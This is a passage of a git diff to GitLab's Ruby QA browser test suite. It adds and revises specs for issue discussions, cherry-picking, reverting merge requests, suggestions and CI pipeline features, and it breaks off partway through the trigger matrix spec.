+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Plan', :transient do
+ describe 'Discussion comments transient bugs' do
+ let(:user1) do
+ Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
+ end
+
+ let(:my_first_reply) { 'This is my first reply' }
+ let(:my_second_reply) { "@#{Runtime::Env.gitlab_qa_username_1}" }
+ let(:my_third_reply) { "@#{Runtime::Env.gitlab_qa_username_1} This is my third reply" }
+ let(:my_fourth_reply) { '/close' }
+
+ before do
+ Flow::Login.sign_in
+ end
+
+ it 'comments with mention on a discussion in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1753' do
+ Runtime::Env.transient_trials.times do |i|
+ QA::Runtime::Logger.info("Transient bug test action - Trial #{i}")
+
+ Resource::Issue.fabricate_via_api!.visit!
+
+ Page::Project::Issue::Show.perform do |issue_page|
+ issue_page.select_all_activities_filter
+ issue_page.start_discussion('My first discussion')
+ issue_page.reply_to_discussion(1, my_first_reply)
+
+ expect(issue_page).to have_comment(my_first_reply)
+
+ issue_page.reply_to_discussion(1, "#{my_second_reply}\n")
+
+ expect(issue_page).to have_comment(my_second_reply)
+
+ issue_page.reply_to_discussion(1, my_third_reply)
+
+ expect(issue_page).to have_comment(my_third_reply)
+
+ issue_page.reply_to_discussion(1, my_fourth_reply)
+
+ expect(issue_page).to have_system_note('closed')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb b/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb
index 43cf701acdd..6afc7549c59 100644
--- a/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb
@@ -23,7 +23,7 @@ module QA
Flow::Login.sign_in
end
- it 'user archives a design', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/274' do
+ it 'user archives a design', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1761' do
third_design.issue.visit!
Page::Project::Issue::Show.perform do |issue|
diff --git a/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb b/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
index 9fbb0d69de1..dfdc9b7c9b4 100644
--- a/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
@@ -13,7 +13,7 @@ module QA
Flow::Login.sign_in
end
- it 'user adds a design and modifies it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/273' do
+ it 'user adds a design and modifies it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1760' do
design.issue.visit!
Page::Project::Issue::Show.perform do |issue|
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb
new file mode 100644
index 00000000000..16afa3be62a
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ describe 'Cherry picking from a merge request' do
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project'
+ project.initialize_with_readme = true
+ end
+ end
+
+ let(:feature_mr) do
+ Resource::MergeRequest.fabricate_via_api! do |merge_request|
+ merge_request.project = project
+ merge_request.target_branch = 'development'
+ merge_request.target_new_branch = true
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ end
+
+ it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1616' do
+ feature_mr.visit!
+
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.merge!
+ merge_request.cherry_pick!
+ end
+
+ Page::MergeRequest::New.perform(&:create_merge_request)
+
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.click_diffs_tab
+ expect(merge_request).to have_file(feature_mr.file_name)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb
new file mode 100644
index 00000000000..41746e84862
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ describe 'Cherry picking a commit' do
+ let(:file_name) { "secret_file.md" }
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project'
+ project.initialize_with_readme = true
+ end
+ end
+
+ let(:commit) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.branch = "development"
+ commit.start_branch = project.default_branch
+ commit.commit_message = 'Add new file'
+ commit.add_files([
+ { file_path: file_name, content: 'pssst!' }
+ ])
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ commit.visit!
+ end
+
+ it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1752' do
+ Page::Project::Commit::Show.perform(&:cherry_pick_commit)
+ Page::MergeRequest::New.perform(&:create_merge_request)
+
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.click_diffs_tab
+ expect(merge_request).to have_file(file_name)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
index 8d12042bd85..c2e148e19bd 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
@@ -3,13 +3,11 @@
module QA
RSpec.describe 'Create' do
describe 'Merge request creation from fork', :smoke do
- let!(:merge_request) do
- Resource::MergeRequestFromFork.fabricate_via_browser_ui! do |merge_request|
+ it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1701' do
+ merge_request = Resource::MergeRequestFromFork.fabricate_via_browser_ui! do |merge_request|
merge_request.fork_branch = 'feature-branch'
end
- end
- it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1701' do
Flow::Login.while_signed_in do
merge_request.visit!
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
index 2ddc59acd5c..2b1ac75b9f5 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
@@ -3,82 +3,97 @@
module QA
RSpec.describe 'Create', :runner do
describe 'Merge requests' do
- let(:project) do
- Resource::Project.fabricate_via_api! do |project|
- project.name = 'merge-when-pipeline-succeeds'
- project.initialize_with_readme = true
+ shared_examples 'merge when pipeline succeeds' do |repeat: 1|
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'merge-when-pipeline-succeeds'
+ project.initialize_with_readme = true
+ end
end
- end
- let!(:runner) do
- Resource::Runner.fabricate! do |runner|
- runner.project = project
- runner.name = "runner-for-#{project.name}"
- runner.tags = ["runner-for-#{project.name}"]
+ let!(:runner) do
+ Resource::Runner.fabricate! do |runner|
+ runner.project = project
+ runner.name = "runner-for-#{project.name}"
+ runner.tags = ["runner-for-#{project.name}"]
+ end
end
- end
- before do
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files(
- [
- {
- file_path: '.gitlab-ci.yml',
- content: <<~EOF
- test:
- tags: ["runner-for-#{project.name}"]
- script: sleep 5
- only:
- - merge_requests
- EOF
- }
- ]
- )
+ before do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files(
+ [
+ {
+ file_path: '.gitlab-ci.yml',
+ content: <<~EOF
+ test:
+ tags: ["runner-for-#{project.name}"]
+ script: sleep 10
+ only:
+ - merge_requests
+ EOF
+ }
+ ]
+ )
+ end
+
+ Flow::Login.sign_in
end
- Flow::Login.sign_in
- end
+ after do
+ runner&.remove_via_api!
+ project&.remove_via_api!
+ end
- after do
- runner&.remove_via_api!
- project&.remove_via_api!
- end
+ it 'merges after pipeline succeeds' do
+ repeat.times do |i|
+ QA::Runtime::Logger.info("Transient bug test - Trial #{i}") if repeat > 1
- it 'merges when pipeline succeeds', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1684' do
- branch_name = "merge-request-test-#{SecureRandom.hex(8)}"
+ branch_name = "mr-test-#{SecureRandom.hex(6)}-#{i}"
- # Create a branch that will be merged into the default branch
- Resource::Repository::ProjectPush.fabricate! do |project_push|
- project_push.project = project
- project_push.new_branch = true
- project_push.branch_name = branch_name
- project_push.file_name = "file-#{SecureRandom.hex(8)}.txt"
- end
+ # Create a branch that will be merged into the default branch
+ Resource::Repository::ProjectPush.fabricate! do |project_push|
+ project_push.project = project
+ project_push.new_branch = true
+ project_push.branch_name = branch_name
+ project_push.file_name = "#{branch_name}.txt"
+ end
- # Create a merge request to merge the branch we just created
- merge_request = Resource::MergeRequest.fabricate_via_api! do |merge_request|
- merge_request.project = project
- merge_request.source_branch = branch_name
- merge_request.no_preparation = true
- end
+ # Create a merge request to merge the branch we just created
+ merge_request = Resource::MergeRequest.fabricate_via_api! do |merge_request|
+ merge_request.project = project
+ merge_request.source_branch = branch_name
+ merge_request.no_preparation = true
+ end
- merge_request.visit!
+ merge_request.visit!
- Page::MergeRequest::Show.perform do |mr|
- mr.merge_when_pipeline_succeeds!
+ Page::MergeRequest::Show.perform do |mr|
+ mr.merge_when_pipeline_succeeds!
- expect(mr.merge_request_status).to match(/to be merged automatically when the pipeline succeeds/)
+ Support::Waiter.wait_until(sleep_interval: 5) do
+ merge_request = merge_request.reload!
+ merge_request.state == 'merged'
+ end
- Support::Waiter.wait_until(sleep_interval: 5) do
- merge_request = merge_request.reload!
- merge_request.state == 'merged'
+ aggregate_failures do
+ expect(merge_request.merge_when_pipeline_succeeds).to be_truthy
+ expect(mr.merged?).to be_truthy, "Expected content 'The changes were merged' but it did not appear."
+ end
+ end
end
-
- expect(mr.merged?).to be_truthy, "Expected content 'The changes were merged' but it did not appear."
end
end
+
+ context 'when merging once', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1684' do
+ it_behaves_like 'merge when pipeline succeeds'
+ end
+
+ context 'when merging several times', :transient, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1684' do
+ it_behaves_like 'merge when pipeline succeeds', repeat: Runtime::Env.transient_trials
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/revert_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert_spec.rb
new file mode 100644
index 00000000000..3574cdbe4ac
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ describe 'Merged merge request' do
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'revert'
+ end
+ end
+
+ let(:revertable_merge_request) do
+ Resource::MergeRequest.fabricate_via_api! do |merge_request|
+ merge_request.project = project
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ end
+
+ it 'can be reverted', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1745' do
+ revertable_merge_request.visit!
+
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.merge!
+ merge_request.revert_change!
+ end
+
+ Page::MergeRequest::New.perform(&:create_merge_request)
+
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.click_diffs_tab
+ expect(merge_request).to have_file(revertable_merge_request.file_name)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb
new file mode 100644
index 00000000000..05e274de820
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ context 'Add batch suggestions to a Merge Request', :transient do
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'suggestions_project'
+ end
+ end
+
+ let(:merge_request) do
+ Resource::MergeRequest.fabricate_via_api! do |merge_request|
+ merge_request.project = project
+ merge_request.title = 'Needs some suggestions'
+ merge_request.description = '... so please add them.'
+ merge_request.file_content = File.read(
+ Pathname
+ .new(__dir__)
+ .join('../../../../../../fixtures/metrics_dashboards/templating.yml')
+ )
+ end
+ end
+
+ let(:dev_user) do
+ Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
+ end
+
+ before do
+ project.add_member(dev_user)
+
+ Flow::Login.sign_in(as: dev_user, skip_page_validation: true)
+
+ merge_request.visit!
+
+ Page::MergeRequest::Show.perform(&:click_diffs_tab)
+
+ [4, 6, 10, 13].each do |line_number|
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.add_suggestion_to_diff("This is the suggestion for line number #{line_number}!", line_number)
+ end
+ end
+
+ Flow::Login.sign_in
+
+ merge_request.visit!
+ end
+
+ it 'applies multiple suggestions', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1177' do
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.click_diffs_tab
+ 4.times { merge_request.add_suggestion_to_batch }
+ merge_request.apply_suggestions_batch
+
+ expect(merge_request).to have_css('.badge-success', text: "Applied", count: 4)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb
new file mode 100644
index 00000000000..ad12a3ec334
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ context 'Add suggestions to a Merge Request' do
+ let(:commit_message) { 'Applying suggested change for testing purposes.' }
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'suggestions_project'
+ end
+ end
+
+ let(:merge_request) do
+ Resource::MergeRequest.fabricate_via_api! do |merge_request|
+ merge_request.project = project
+ merge_request.title = 'Needs some suggestions'
+ merge_request.description = '... so please add them.'
+ merge_request.file_content = File.read(
+ Pathname
+ .new(__dir__)
+ .join('../../../../../../fixtures/metrics_dashboards/templating.yml')
+ )
+ end
+ end
+
+ let(:dev_user) do
+ Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
+ end
+
+ before do
+ project.add_member(dev_user)
+
+ Flow::Login.sign_in(as: dev_user, skip_page_validation: true)
+ merge_request.visit!
+
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.click_diffs_tab
+ merge_request.add_suggestion_to_diff('This is the suggestion for line number 4!', 4)
+ end
+
+ Flow::Login.sign_in
+ merge_request.visit!
+ end
+
+ it 'applies a single suggestion with a custom message' do
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.click_diffs_tab
+ merge_request.apply_suggestion_with_message(commit_message)
+
+ expect(merge_request).to have_css('.badge-success', text: 'Applied')
+
+ merge_request.click_commits_tab
+
+ expect(merge_request).to have_content(commit_message)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
index 38c9216005f..ef3d45724db 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
@@ -27,7 +27,7 @@ module QA
Page::Main::Menu.perform(&:sign_out_if_signed_in)
end
- it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/386' do
+ it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1763' do
project = Resource::Project.fabricate_via_api! do |project|
project.name = 'git-protocol-project'
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
index d44f5bc9e2e..70880011985 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
@@ -39,7 +39,7 @@ module QA
ssh_key.remove_via_api!
end
- it 'clones, pushes, and pulls a snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/826' do
+ it 'clones, pushes, and pulls a snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1748' do
push = Resource::Repository::Push.fabricate! do |push|
push.repository_http_uri = repository_uri_http
push.file_name = new_file
@@ -70,7 +70,7 @@ module QA
snippet.remove_via_api!
end
- it 'clones, pushes, and pulls a snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/825' do
+ it 'clones, pushes, and pulls a snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1747' do
push = Resource::Repository::Push.fabricate! do |push|
push.repository_ssh_uri = repository_uri_ssh
push.ssh_key = ssh_key
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
index ddbc98c4a1a..4f241325437 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', :smoke do
+ RSpec.describe 'Create' do # convert back to a smoke test once proved to be stable
describe 'Personal snippet creation' do
it 'user creates a personal snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1704' do
Flow::Login.sign_in
diff --git a/qa/qa/specs/features/browser_ui/3_create/transient/apply_suggestion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/transient/apply_suggestion_spec.rb
deleted file mode 100644
index eab2729af83..00000000000
--- a/qa/qa/specs/features/browser_ui/3_create/transient/apply_suggestion_spec.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- RSpec.describe 'Create' do
- context 'Transient tests', :transient do
- let(:project) do
- Resource::Project.fabricate_via_api! do |project|
- project.name = 'project-for-transient-test'
- end
- end
-
- let(:code_for_merge) do
- Pathname
- .new(__dir__)
- .join('../../../../../fixtures/metrics_dashboards/templating.yml')
- end
-
- let(:merge_request) do
- Resource::MergeRequest.fabricate_via_api! do |merge_request|
- merge_request.project = project
- merge_request.title = 'Transient MR'
- merge_request.description = 'detecting transient bugs'
- merge_request.file_content = File.read(code_for_merge)
- end
- end
-
- let(:dev_user) do
- Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
- end
-
- before do
- project.add_member(dev_user)
- Flow::Login.sign_in(as: dev_user, skip_page_validation: true)
-
- merge_request.visit!
-
- Page::MergeRequest::Show.perform(&:click_diffs_tab)
-
- [4, 6, 10, 13].each do |line_number|
- Page::MergeRequest::Show.perform do |merge_request|
- merge_request.add_suggestion_to_diff("This is the #{line_number} suggestion!", line_number)
- end
- end
-
- Flow::Login.sign_in
-
- merge_request.visit!
- end
-
- it 'applies multiple suggestions', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1177' do
- Page::MergeRequest::Show.perform do |merge_request|
- merge_request.click_diffs_tab
- 4.times { merge_request.add_suggestion_to_batch }
- merge_request.apply_suggestions_batch
-
- expect(merge_request).to have_css('.badge-success', text: "Applied", count: 4)
- end
- end
- end
- end
-end
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
index 6044c87d24e..70959dd0200 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
@@ -27,7 +27,7 @@ module QA
edit.set_message commit_message
end
- Page::Project::Wiki::Edit.perform(&:click_create_page)
+ Page::Project::Wiki::Edit.perform(&:click_submit)
Page::Project::Wiki::Show.perform do |wiki|
expect(wiki).to have_title new_wiki_title
@@ -46,7 +46,7 @@ module QA
edit.set_message commit_message
end
- Page::Project::Wiki::Edit.perform(&:click_create_page)
+ Page::Project::Wiki::Edit.perform(&:click_submit)
Page::Project::Wiki::Show.perform do |wiki|
expect(wiki).to have_title new_wiki_title
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
index 30a91c2e254..9a6d7d08e7b 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
@@ -25,7 +25,7 @@ module QA
edit.set_message commit_message
end
- Page::Project::Wiki::Edit.perform(&:click_save_changes)
+ Page::Project::Wiki::Edit.perform(&:click_submit)
Page::Project::Wiki::Show.perform do |wiki|
expect(wiki).to have_title new_wiki_title
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
index 4f1d9ac1696..1a46322d283 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
@@ -20,7 +20,7 @@ module QA
edit.set_message('changing the path of the home page')
end
- Page::Project::Wiki::Edit.perform(&:click_save_changes)
+ Page::Project::Wiki::Edit.perform(&:click_submit)
Page::Project::Wiki::Show.perform do |wiki|
expect(wiki).to have_directory('a')
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
index fcd8cb02870..39cbd0028c0 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
@@ -16,7 +16,7 @@ module QA
add_ci_variable
end
- it 'user adds a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/395' do
+ it 'user adds a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1759' do
Page::Project::Settings::CiVariables.perform do |ci_variable|
expect(ci_variable).to have_text('VARIABLE_KEY')
expect(ci_variable).not_to have_text('some_CI_variable')
@@ -27,7 +27,7 @@ module QA
end
end
- it 'user removes a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/394' do
+ it 'user removes a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1758' do
Page::Project::Settings::CiVariables.perform do |ci_variable|
ci_variable.click_edit_ci_variable
ci_variable.click_ci_variable_delete_button
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb
new file mode 100644
index 00000000000..5083b7b0859
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Verify', :requires_admin do
+ describe 'Include local config file paths with wildcard' do
+ let(:feature_flag) { :ci_wildcard_file_paths }
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-with-pipeline'
+ end
+ end
+
+ before do
+ Runtime::Feature.enable(feature_flag)
+ Flow::Login.sign_in
+ add_files_to_project
+ project.visit!
+ Flow::Pipeline.visit_latest_pipeline
+ end
+
+ after do
+ Runtime::Feature.disable(feature_flag)
+ project.remove_via_api!
+ end
+
+ it 'runs the pipeline with composed config', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1757' do
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ aggregate_failures 'pipeline has all expected jobs' do
+ expect(pipeline).to have_job('build')
+ expect(pipeline).to have_job('test')
+ expect(pipeline).not_to have_job('deploy')
+ end
+ end
+ end
+
+ private
+
+ def add_files_to_project
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add CI and local files'
+ commit.add_files([build_config_file, test_config_file, non_detectable_file, main_ci_file])
+ end
+ end
+
+ def main_ci_file
+ {
+ file_path: '.gitlab-ci.yml',
+ content: <<~YAML
+ include: 'configs/*.yml'
+ YAML
+ }
+ end
+
+ def build_config_file
+ {
+ file_path: 'configs/builds.yml',
+ content: <<~YAML
+ build:
+ stage: build
+ script: echo build
+ YAML
+ }
+ end
+
+ def test_config_file
+ {
+ file_path: 'configs/tests.yml',
+ content: <<~YAML
+ test:
+ stage: test
+ script: echo test
+ YAML
+ }
+ end
+
+ def non_detectable_file
+ {
+ file_path: 'configs/not_included.yaml', # we only include `*.yml` not `*.yaml`
+ content: <<~YAML
+ deploy:
+ stage: deploy
+ script: echo deploy
+ YAML
+ }
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
index c5d73d2fd7d..01aada2d6dd 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
@@ -39,6 +39,7 @@ module QA
needs: [test_blocked_pipeline]
script: echo do not click me
when: manual
+ allow_failure: false
dummy_job:
stage: deploy
@@ -71,8 +72,9 @@ module QA
it 'can still merge MR successfully', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/971' do
Page::MergeRequest::Show.perform do |show|
- show.wait_until(reload: false) { show.has_pipeline_status?('running') }
- show.merge_immediately!
+ # waiting for manual action status shows status badge 'blocked' on pipelines page
+ show.wait_until(reload: false) { show.has_pipeline_status?('waiting for manual action') }
+ show.merge!
expect(show).to be_merged
end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
new file mode 100644
index 00000000000..d87fa0f5127
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require 'faker'
+
+module QA
+ RSpec.describe 'Verify', :runner do
+ describe 'Trigger matrix' do
+ let(:executor) { "qa-runner-#{Faker::Alphanumeric.alphanumeric(8)}" }
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-with-pipeline'
+ end
+ end
+
+ let!(:runner) do
+ Resource::Runner.fabricate! do |runner|
+ runner.project = project
+ runner.name = executor
+ runner.tags = [executor]
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ add_ci_files
+ project.visit!
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'succeeded')
+ end
+
+ after do
+ runner.remove_via_api!
+ project.remove_via_api!
+ end
+
+ it 'creates 2 trigger jobs and passes corresponding matrix variables', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1732' do
+ Page::Project::Pipeline::Show.perform do |parent_pipeline|
+ trigger_title1 = 'deploy: [ovh, monitoring]'
+ trigger_title2 = 'deploy: [ovh, app]'
+
+ aggregate_failures 'Creates two child pipelines' do
+ expect(parent_pipeline).to have_child_pipeline(title: trigger_title1)
+ expect(parent_pipeline).to have_child_pipeline(title: trigger_title2)
+ end
+
+ # Only check output of one of the child pipelines, should be sufficient
+ parent_pipeline.expand_child_pipeline(title: trigger_title1)
+ parent_pipeline.click_job('test_vars')
+ end
+
+ Page::Project::Job::Show.perform do |show|
+ Support::Waiter.wait_until { show.successful? }
+
+ aggregate_failures 'Job output has the correct variables' do
